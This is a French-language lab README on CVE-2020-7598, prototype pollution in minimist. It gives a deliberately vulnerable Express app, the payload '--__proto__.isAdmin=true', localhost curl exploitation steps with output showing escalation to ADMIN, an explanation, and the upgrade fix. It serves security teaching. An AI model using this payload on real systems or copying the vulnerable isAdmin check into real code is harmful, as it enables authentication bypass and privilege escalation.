CVE-2020-7598 - Pollution de prototype dans minimist

Avertissement

Ce projet est créé uniquement pour :

• l'apprentissage,
• la recherche en sécurité,
• et un laboratoire local privé.

Ne l'utilisez pas contre des systèmes sans autorisation.

À propos de CVE

CVE-2020-7598 est une vulnérabilité de pollution de prototype dans le package npm :

• minimist
• versions vulnérables :
  • < 0.2.1
  • >= 1.0.0 < 1.2.3

Cette vulnérabilité permet à un attaquant de modifier :

Object.prototype

via une charge utile comme :

--__proto__.isAdmin=true

Conséquences :

• tous les objets JavaScript peuvent hériter de propriétés dangereuses,
• contournement d'authentification,
• élévation de privilèges,
• jusqu'à une chaîne menant à une exécution de code à distance (RCE) dans certaines conditions.

Fonctionnement de la pollution de prototype

En JavaScript :

const user = {};

un objet vide hérite toujours des propriétés de :

Object.prototype

Si un attaquant parvient à faire :

Object.prototype.isAdmin = true;

alors :

({}).isAdmin

retournera :

true

pour tous les objets ordinaires.

Environnement de laboratoire

Dépendances

• Node.js
• Express
• [email protected]

Installation

1. Cloner le dépôt

https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Installer les dépendances

npm install

OU manuellement :

npm install express [email protected]

Code source

Créez le fichier :

app.js

Contenu :

const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulation de base de données utilisateur
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Point de terminaison vulnérable
*/
app.get("/parse", (req, res) => {

    /*
      Récupérer la requête brute
    */
    const payload = req.query.payload;

    /*
      Convertir en tableau d'arguments CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Analyse vulnérable
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Point de terminaison de connexion
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Logique d'authentification vulnérable
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Lancer le serveur

node app.js

Sortie :

Server running on port 3000

Test normal

Connexion normale

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Sortie :

{
  "success": true,
  "role": "USER"
}

Exploitation de CVE-2020-7598

Charge utile de pollution de prototype

Ouvrez le navigateur :

http://localhost:3000/parse?payload=--__proto__.isAdmin=true

OU utilisez curl :

curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Résultat de l'exploitation

Terminal du serveur :

GLOBAL isAdmin: true

Cela signifie que :

Object.prototype.isAdmin = true

a été modifié avec succès.

Connexion après exploitation

curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Sortie :

{
  "success": true,
  "role": "ADMIN"
}

Pourtant :

• la base de données n'a pas changé,
• le code source n'a pas changé,
• l'utilisateur ne possède pas la propriété isAdmin.

Pourquoi devient-on ADMIN ?

Le code suivant :

if(user.isAdmin)

ne vérifie pas seulement la propriété directe de l'objet.

JavaScript va chercher :

1. la propriété propre de l'objet,
2. puis la chaîne de prototypes.

Comme l'attaquant a réussi à modifier :

Object.prototype.isAdmin = true

tous les objets ordinaires héritent de cette propriété.

Preuve de la pollution de prototype

Log du serveur :

Own property: false
user.isAdmin: true

Signification :

• isAdmin n'est pas une propriété propre de l'utilisateur,
• mais héritée du prototype global.

Correctif

Version sécurisée de minimist :

npm install minimist@latest

La version corrigée bloque :

• __proto__
• constructor
• prototype

ainsi la pollution de prototype n'est plus possible.

Références

• CVE : CVE-2020-7598
• Package : minimist
• CWE : CWE-1321 Pollution de prototype

Auteur

Le laboratoire et la documentation ont été créés à des fins d'apprentissage sur la sécurité des applications Node.js et la recherche sur la pollution de prototype.